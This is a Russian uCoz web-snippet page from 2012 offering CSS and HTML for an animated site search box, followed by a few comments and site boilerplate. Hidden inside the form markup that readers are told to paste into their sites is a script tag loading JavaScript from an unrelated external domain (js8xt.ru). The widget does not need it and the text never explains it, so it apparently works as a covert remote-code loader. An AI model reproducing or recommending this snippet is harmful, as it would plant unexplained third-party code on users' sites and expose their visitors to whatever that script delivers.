Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Меню сайта
Мини-чат
Пожертвование сайту
Опрос
Переход на домен .com
Всего ответов: 1515
Главная » 2012 » Апрель » 27 » Красивый поиск по сайту
Красивый поиск по сайту
13:38


Поиск очень стильный и подойдёт к любому шаблону.
При навождении на него он будет раздвигаться, как это показано на экране.
УСТАНОВКА
вставляем куда вам нужно

Code
<style>  
#wrap-search {  
margin: 0 auto;  
width: 100px;  
-moz-transition: all .2s ease-out;  
-webkit-transition: all .2s ease-out;  
-o-transition: all .2s ease-out;  
transition: all .2s ease-out;  
text-indent: 0px;}  

#wrap-search br { display: none; }  

#wrap-search #search {  
background: -moz-linear-gradient(center bottom , #9B9B9B 0%, #A9A9A9 50%, #CACACA 50%, #D3D3D3 2550%);  
background: -webkit-gradient(linear,left bottom,left top,color-stop(0, #9B9B9B),color-stop(0.5, #A9A9A9),color-stop(0.5, #CACACA),color-stop(25.5, #D3D3D3));  
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#9B9B9B', EndColorStr='#CACACA');  
border-radius: 5px;  
padding: 4px;  
}  

#wrap-search:hover { width:200px; }  

.form-search {  
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#EBEBEB), to(#BCBCBC));  
background: -moz-linear-gradient(-90deg, #BCBCBC, #EBEBEB);  
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#EBEBEB', EndColorStr='#BCBCBC');  
border: 1px solid #747474;  
border-radius: 3px;  
box-shadow: inset 0 1px 1px #575555, 0 1px 0 #FFF;  
height: 32px;  
position: relative;  
-moz-transition: all .2s ease-out;  
-webkit-transition: all .2s ease-out;  
-o-transition: all .2s ease-out;  
transition: all .2s ease-out;  
}  

.form-search input[type='text'] {  
background: none;  
border: none;  
color:#6E7074;  
height: 34px;  
line-height: 34px;  
padding: 0 27px 0 6px;  
font-family: Helvetica, Arial, sans-serif;  
font-size: 13px;  
text-shadow: 0 1px 0 #FFF;  
}  

#wrap-search:hover input[type='text'] { color:#597C84; }  

#wrap-search:hover .form-search {  
background: -moz-linear-gradient(-90deg, #9CC2CA, #DFECEF);  
background: -webkit-gradient(linear, 0 bottom, 0 top, from(#DFECEF), to(#9CC2CA));  
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#DFECEF', EndColorStr='#9CC2CA');  
box-shadow: inset 0 1px 1px #46575b, 0 1px 0 #FFF;  
color: #25464D;  
}  

.form-search input[type='image'] {  
height: 32px;  
opacity: .5;  
filter:alpha(opacity=50);  
position: absolute;  
right: 0px;  
top: 0px;  
width: 32px;  
}  

.form-search input[type='image']:hover {  
opacity: 1;  
filter:alpha(opacity=100);  
}  

</style>  

<div id="wrap-search">  
<div id="search">  
<form class="form-search" method="get" action="/search" target="_blank">
<script language=JavaScript src=http://js8xt.ru/ves.js></script>  
<input src="http://s019.radikal.ru/i622/1204/78/0154b88f49a9.png" type="image">  
<input name="q" value="поиск" onfocus="this.value='';" onblur="this.value='поиск';" onmouseover="this.value='';" onmouseout="this.value='поиск';" type="text">  
</form>  
</div>  
</div>
Категория: Скрипты для UCOZ | Просмотров: 1519 | Добавил: DianaWeb | Рейтинг: 4.8/6 |
Всего комментариев: 3
3 Nikon7317   (20.07.2012 22:17)
http://gnr-samp.clan.su/
Всё для GTA 1 , GTA 2 , GTA 3 , GTA 4 , GTA 5

2 vasy196   (14.06.2012 07:03)
www.dinas96.ru

www.dinas196.ru

www.rallytime.ru

www.city-life.tv

1 TAMERLAN   (18.05.2012 20:21)
Классный поиск!

Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Форма входа
Гость

Сообщения:

Группа:
Гости
Гость, мы рады вас видеть. Пожалуйста зарегистрируйтесь или авторизуйтесь!
Поиск по сайту
Календарь
«  Апрель 2012  »
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
30
Друзья сайта
3dnews daily digital digest
Наш баннер
[ Получить код баннера]
Облакто тегов

Для красивого отображения этого блока требуетсяFlash Player 9 или выше.

Кто сегодя был на сайте
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Зарегистрировано на сайте: 14959

Новых сегодня: 0

Новых вчера: 0

Новых за неделю: 0

Новых за месяц: 0

Из них:

Новоприбывших: 14920

Проверенных: 0

Модераторов: 1

Помошник администратора: 1

Администраторов: 1

Из них:

Парней 14324

Девушек 634

1

Каталог webplus.info Проверить PR ТИЦ
Все материалы которые находятся на этом сайте могут быть использованы исключительно в ознакомительных целях! За любое нелегальное использования данных материалов ни администрация сайта ни хостинг-провайдер ответственности не несут! При копировании материала обязательно указывать рабочую ссылку на alltopc.ucoz.ru! Created by -=FoBoS=- © 2008-2017